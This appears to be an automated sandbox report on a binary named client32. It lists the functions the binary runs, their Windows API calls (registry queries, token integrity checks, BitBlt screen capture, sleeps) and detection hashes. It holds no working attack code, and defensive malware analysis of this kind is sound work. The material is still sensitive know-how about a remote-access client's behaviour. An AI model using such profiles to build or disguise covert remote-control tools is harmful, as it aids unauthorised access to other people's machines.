Instruction ID: afac539be2367be23e5fb54bb350a7e23aa7a519b2fcc5708fa11322496ce6e3
Opcode Fuzzy Hash: 271288d31555c81154ec7293090fb485e1e9931888df87aecff959c56407cd41
Instruction Fuzzy Hash: B4F0F0358017138AD7109B78CC0078EFBE96F0133CF1182088434AA6D4CBFA6521DB46

Function 1117602D Relevance: 3.0, APIs: 2, Instructions: 18COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 11176045

Part of subcall function 1117459F: __mtinitlocknum.LIBCMT ref: 111745B5
Part of subcall function 1117459F: __amsg_exit.LIBCMT ref: 111745C1
Part of subcall function 1117459F: EnterCriticalSection.KERNEL32(?,?,?,1116C592,0000000D), ref: 111745C9

__tzset_nolock.LIBCMT ref: 11176056

Part of subcall function 1117594C: __lock.LIBCMT ref: 1117596E
Part of subcall function 1117594C: ____lc_codepage_func.LIBCMT ref: 111759B5
Part of subcall function 1117594C: __getenv_helper_nolock.LIBCMT ref: 111759D7
Part of subcall function 1117594C: _free.LIBCMT ref: 11175A0E
Part of subcall function 1117594C: _strlen.LIBCMT ref: 11175A15
Part of subcall function 1117594C: __malloc_crt.LIBCMT ref: 11175A1C
Part of subcall function 1117594C: _strlen.LIBCMT ref: 11175A32
Part of subcall function 1117594C: _strcpy_s.LIBCMT ref: 11175A40
Part of subcall function 1117594C: __invoke_watson.LIBCMT ref: 11175A55
Part of subcall function 1117594C: _free.LIBCMT ref: 11175A64

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: __lock_free_strlen$CriticalEnterSection____lc_codepage_func__amsg_exit__getenv_helper_nolock__invoke_watson__malloc_crt__mtinitlocknum__tzset_nolock_strcpy_s
String ID:
API String ID: 1828324828-0
Opcode ID: e9fe97314170dd3ace1c63e43c84978c6283960cf81703fd067dc8cc761c8193
Instruction ID: d808ca63efd1e9ffab5fb640758e365785c4d1c524b5d003c7d68937386cb31b
Opcode Fuzzy Hash: e9fe97314170dd3ace1c63e43c84978c6283960cf81703fd067dc8cc761c8193
Instruction Fuzzy Hash: 7AE05B7E8877B3DAE7139FB4469060CF670AB05B3EF6011E5D060556C4CF701555C792

Function 6EEF63A0 Relevance: 3.0, APIs: 2, Instructions: 10sleepnetworkCOMMON

Download Yara Rule

APIs

WSACancelBlockingCall.WSOCK32 ref: 6EEF63A9
Sleep.KERNEL32(00000032), ref: 6EEF63B3

Memory Dump Source

Source File: 00000005.00000002.3341493413.000000006EEF1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6EEF0000, based on PE: true

Associated: 00000005.00000002.3341473801.000000006EEF0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341527634.000000006EF30000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341547802.000000006EF39000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341604844.000000006EF40000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eef0000_client32.jbxd

Yara matches

Similarity

API ID: BlockingCallCancelSleep
String ID:
API String ID: 3706969569-0
Opcode ID: 98f1154b01cd20286259d3ed0cfa01cfed614a04858f7130e6b945d2f8ae7960
Instruction ID: e2ead802e893d1b06c155903e02f4a78c8b81285eefdecee1ce9801aeab8db27
Opcode Fuzzy Hash: 98f1154b01cd20286259d3ed0cfa01cfed614a04858f7130e6b945d2f8ae7960
Instruction Fuzzy Hash: F5B092B02B21138BAB4013F1091639A308E0FD424FF6008652A45C8485FF60C101A0E1

Function 11145A70 Relevance: 2.6, APIs: 2, Instructions: 58sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 11145990: ExpandEnvironmentStringsA.KERNEL32(000000FF,?,00000104,000000FF), ref: 111459B7

Part of subcall function 11164EAD: __fsopen.LIBCMT ref: 11164EBA

GetLastError.KERNEL32(?,00000000,000000FF,?), ref: 11145AA5
Sleep.KERNEL32(000000C8,?,?,?,?,?,?,00000000,000000FF,?), ref: 11145AB5

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: EnvironmentErrorExpandLastSleepStrings__fsopen
String ID:
API String ID: 3768737497-0
Opcode ID: a3a7e4752acc607997ac4dc0a72fcac428bfa81aec4d9fb6ca4c049ea981d30d
Instruction ID: 034c310a398a014eacf4d95463f41bd89d414178975837bd0fbb5aed6b89dd46
Opcode Fuzzy Hash: a3a7e4752acc607997ac4dc0a72fcac428bfa81aec4d9fb6ca4c049ea981d30d
Instruction Fuzzy Hash: E8110476940319ABEB119F90CDC4A6FF3B8EF85A29F300165EC0097A00D775AD51C7A2

Function 11010AE0 Relevance: 1.7, APIs: 1, Instructions: 151COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 11010B94

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: LockitLockit::_std::_
String ID:
API String ID: 3382485803-0
Opcode ID: 900fd30ae7a6edcb6a0dfa434b7c013aaa35b72064ad6defd4f97f4d13ad8da4
Instruction ID: 6fbf298b81733ad5c02794b6394837a2ddc0a350229d48e3ddb53e27456ddbdc
Opcode Fuzzy Hash: 900fd30ae7a6edcb6a0dfa434b7c013aaa35b72064ad6defd4f97f4d13ad8da4
Instruction Fuzzy Hash: F1516B74A00649DFDB04CF98C980AADFBF5BF89318F248298D5469B385C776E942CB90

Function 1100E300 Relevance: 1.6, APIs: 1, Instructions: 79COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 1100E35A

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 6a4558929192b251c5d08b5e804bdc9b61ce28f30961faaa03d70a9527164016
Instruction ID: 622d3808cb19fe645f7705ee54a54b225289d7132215defba9e18c77360d7652
Opcode Fuzzy Hash: 6a4558929192b251c5d08b5e804bdc9b61ce28f30961faaa03d70a9527164016
Instruction Fuzzy Hash: FE213C75E00269EBEB40CE69C88469D7BF5FF44360F14C1AAEC55EB241D774DE408B91

Function 11143BD0 Relevance: 1.6, APIs: 1, Instructions: 70registryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RegQueryValueExA.KERNEL32(00000000,?,?,00000000,00000000,00000000,1111025B,75A78400,?,?,11145D2F,00000000,CSDVersion,00000000,00000000,?), ref: 11143BF0

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 91328a05fa49adc7f96a877065892eb549607f162fa4bf6631575699f60be126
Instruction ID: ee220ac459adc96ef86e18eb3808082b68f6554a37139a9005b103db31ef1b78
Opcode Fuzzy Hash: 91328a05fa49adc7f96a877065892eb549607f162fa4bf6631575699f60be126
Instruction Fuzzy Hash: 2611B97171C2795FEB15CE46D690AAEFB6AEBC5F14F30816BE51947D00C332A482C754

Function 110FB470 Relevance: 1.6, APIs: 1, Instructions: 56COMMON

Download Yara Rule

APIs

GetTokenInformation.KERNELBASE(00000000,00000001(TokenIntegrityLevel),?,00000048,?,?), ref: 110FB49D

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: InformationToken
String ID:
API String ID: 4114910276-0
Opcode ID: 2187bc4dd0207f2c4cff668421eac79af3382fb4f4e0b6f0c948954ee106bd6b
Instruction ID: 0dd0dc8a76de1486b7c0157bd4876b78410922a839ecfb631160e4ccf4e8658d
Opcode Fuzzy Hash: 2187bc4dd0207f2c4cff668421eac79af3382fb4f4e0b6f0c948954ee106bd6b
Instruction Fuzzy Hash: E1118671A0055D9BDB11CFA8DD51BEEB3E8DB48309F0041D9E9499B340EA70AE488B90

Function 6EF1A082 Relevance: 1.6, APIs: 1, Instructions: 52memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,6EF16F16,00000000,?,6EF1D40B,00000001,6EF16F16,00000000,00000000,00000000,?,6EF16F16,00000001,00000214), ref: 6EF1A0C5

Part of subcall function 6EF160F9: __getptd_noexit.LIBCMT ref: 6EF160F9

Memory Dump Source

Source File: 00000005.00000002.3341493413.000000006EEF1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6EEF0000, based on PE: true

Associated: 00000005.00000002.3341473801.000000006EEF0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341527634.000000006EF30000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341547802.000000006EF39000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341604844.000000006EF40000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eef0000_client32.jbxd

Yara matches

Similarity

API ID: AllocateHeap__getptd_noexit
String ID:
API String ID: 328603210-0
Opcode ID: af42ae2177c49247018dc36026266e9946153c8064c048c08069dc47947c2795
Instruction ID: c0161df93bfbdbbe9e632f95fe2fe64e536fb65988959da48dad45977f9f34ae
Opcode Fuzzy Hash: af42ae2177c49247018dc36026266e9946153c8064c048c08069dc47947c2795
Instruction Fuzzy Hash: A901F53531CA1A9FEB689EB5CC30BD737D4ABC1364F01496EE816D7180DB7694448A80

Function 11170FC4 Relevance: 1.6, APIs: 1, Instructions: 52memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,1103179F,00000000,?,1116AC94,?,1103179F,00000000,00000000,00000000,?,1116C627,00000001,00000214,?,1111023E), ref: 11171007

Part of subcall function 1116A1AF: __getptd_noexit.LIBCMT ref: 1116A1AF

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AllocateHeap__getptd_noexit
String ID:
API String ID: 328603210-0
Opcode ID: 5134503a2c8da02e36f93c83ba404df5dd22f98f66039dab1883123dd78627a5
Instruction ID: 2763c535338e1a2717ceb9c309c83b7f036f5409daf397f77e32ba57fb3352a5
Opcode Fuzzy Hash: 5134503a2c8da02e36f93c83ba404df5dd22f98f66039dab1883123dd78627a5
Instruction Fuzzy Hash: B301D4353423A79BFB1A8E35CDA4B5BB79ABF827A4F01462DE815CB280D774D800C780

Function 111681A3 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

__waccess_s.LIBCMT ref: 111681AE

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: __waccess_s
String ID:
API String ID: 4272103461-0
Opcode ID: ef7a6628b8ba34dfa5084db135283d76d392227949a9b5e0c08c397448921cd0
Instruction ID: ab19ac5a5597399f8d1ca71f455f516602a279338b20f7293c175e29f7786032
Opcode Fuzzy Hash: ef7a6628b8ba34dfa5084db135283d76d392227949a9b5e0c08c397448921cd0
Instruction Fuzzy Hash: 00C09BB705410D7F5F155DE5EC00C557F5DD6806747149115FD1C89490DD73E961D540

Function 11164EAD Relevance: 1.5, APIs: 1, Instructions: 10COMMONLIBRARYCODE

Download Yara Rule

APIs

__fsopen.LIBCMT ref: 11164EBA

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: __fsopen
String ID:
API String ID: 3646066109-0
Opcode ID: 458c5a181ffae5f95d358663ef626c75276123e7ccc662156e21cb703a51c411
Instruction ID: eecee5f277637f0c818c851ebfea4a610619873cfad902e7c0818376e8e04ccc
Opcode Fuzzy Hash: 458c5a181ffae5f95d358663ef626c75276123e7ccc662156e21cb703a51c411
Instruction Fuzzy Hash: 0CC09B7644010C77CF111946DC01E4D7F1E97D0664F444010FB1C19560A573E971D585

Function 00761000 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

_NSMClient32@8.PCICL32(?,?,?,007610A2,00000000), ref: 0076100B

Memory Dump Source

Source File: 00000005.00000002.3339029322.0000000000761000.00000020.00000001.01000000.00000008.sdmp, Offset: 00760000, based on PE: true

Associated: 00000005.00000002.3338943934.0000000000760000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3339056947.0000000000762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_760000_client32.jbxd

Yara matches

Similarity

API ID: Client32@8
String ID:
API String ID: 433899448-0
Opcode ID: 4d0d81f4ec4ebde950740ae3d3ffe2836bfeb21466b6828822f600e6eeb2d30b
Instruction ID: eafa4ed9d166db8b5870361a785434d9c9a7cf0c1211c919f38ecb13e8c2a4ee
Opcode Fuzzy Hash: 4d0d81f4ec4ebde950740ae3d3ffe2836bfeb21466b6828822f600e6eeb2d30b
Instruction Fuzzy Hash: 19B092B211434DDB8B14EE98E849C7B339CAA98600B440809BD0643682CA65FC609671

Non-executed Functions

Function 110077A0 Relevance: 86.3, APIs: 35, Strings: 14, Instructions: 548windowCOMMON

Download Yara Rule

APIs

Part of subcall function 11088BE0: IsWindow.USER32(111314CC), ref: 11088BFC
Part of subcall function 11088BE0: IsWindow.USER32(?), ref: 11088C16

LoadCursorA.USER32(00000000,00007F02), ref: 110077EA
SetCursor.USER32(00000000), ref: 110077F1
GetDC.USER32(?), ref: 1100781D
CreateCompatibleDC.GDI32(00000000), ref: 1100782A
CreateCompatibleBitmap.GDI32(?,?,?), ref: 11007934
SelectObject.GDI32(?,00000000), ref: 11007942
CreateDCA.GDI32(DISPLAY,00000000,00000000,00000000), ref: 11007956
CreateCompatibleDC.GDI32(00000000), ref: 11007963
CreateCompatibleBitmap.GDI32(?,?,?), ref: 11007975
SelectClipRgn.GDI32(?,00000000), ref: 110079A1

Part of subcall function 110022D0: DeleteObject.GDI32(?), ref: 110022E1
Part of subcall function 110022D0: CreatePen.GDI32(?,?,?), ref: 11002308

Part of subcall function 11005B70: CreateSolidBrush.GDI32(?), ref: 11005B97

BitBlt.GDI32(?,00000000,00000000,?,?,?,?,?,00CC0020), ref: 110079CB
SelectClipRgn.GDI32(?,00000000), ref: 110079E0
DeleteObject.GDI32(00000000), ref: 110079ED
DeleteDC.GDI32(?), ref: 110079FA
BitBlt.GDI32(?,00000000,00000000,?,?,?,00000000,00000000,00CC0020), ref: 11007A17
ReleaseDC.USER32(?,?), ref: 11007A46
CreatePen.GDI32(00000002,00000001,00000000), ref: 11007A51
CreateSolidBrush.GDI32(?), ref: 11007B42
GetSysColor.USER32(00000004), ref: 11007B50
LoadBitmapA.USER32(00000000,00002EEF), ref: 11007B67

Part of subcall function 11142F40: GetObjectA.GDI32(11003D76,00000018,?), ref: 11142F53
Part of subcall function 11142F40: CreateCompatibleDC.GDI32(00000000), ref: 11142F61
Part of subcall function 11142F40: CreateCompatibleDC.GDI32(00000000), ref: 11142F66
Part of subcall function 11142F40: SelectObject.GDI32(00000000,00000000), ref: 11142F7E
Part of subcall function 11142F40: CreateBitmap.GDI32(?,?,00000001,00000001,00000000), ref: 11142F91
Part of subcall function 11142F40: SelectObject.GDI32(00000000,00000000), ref: 11142F9C
Part of subcall function 11142F40: SetBkColor.GDI32(00000000,?), ref: 11142FA6
Part of subcall function 11142F40: BitBlt.GDI32(00000000,00000000,00000000,?,?,00000000,00000000,00000000,00CC0020), ref: 11142FC3
Part of subcall function 11142F40: SetBkColor.GDI32(00000000,00000000), ref: 11142FCC
Part of subcall function 11142F40: SetTextColor.GDI32(00000000,00FFFFFF), ref: 11142FD8
Part of subcall function 11142F40: BitBlt.GDI32(00000000,00000000,00000000,?,?,00000000,00000000,00000000,008800C6), ref: 11142FF5
Part of subcall function 11142F40: SetBkColor.GDI32(00000000,?), ref: 11143000
Part of subcall function 11142F40: SetTextColor.GDI32(00000000,00000000), ref: 11143009
Part of subcall function 11142F40: BitBlt.GDI32(00000000,00000000,00000000,?,?,00000000,00000000,00000000,00EE0086), ref: 11143026
Part of subcall function 11142F40: SelectObject.GDI32(00000000,00000000), ref: 11143031

Part of subcall function 11110230: _malloc.LIBCMT ref: 11110239
Part of subcall function 11110230: _memset.LIBCMT ref: 11110262

_memset.LIBCMT ref: 11007BC7
_swscanf.LIBCMT ref: 11007C34

Part of subcall function 11081E00: _strrchr.LIBCMT ref: 11081E0E

CreateFontIndirectA.GDI32(?), ref: 11007C65
_memset.LIBCMT ref: 11007C8C
GetStockObject.GDI32(00000011), ref: 11007C9F
GetObjectA.GDI32(00000000), ref: 11007CA6
CreateFontIndirectA.GDI32(?), ref: 11007CB3
GetWindowRect.USER32(?,?), ref: 11007DF6
SetWindowTextA.USER32(?,00000000), ref: 11007E33
GetSystemMetrics.USER32(00000001), ref: 11007E53
GetSystemMetrics.USER32(00000000), ref: 11007E70
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000001), ref: 11007EC0
SelectObject.GDI32(?,00000000), ref: 11007986

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
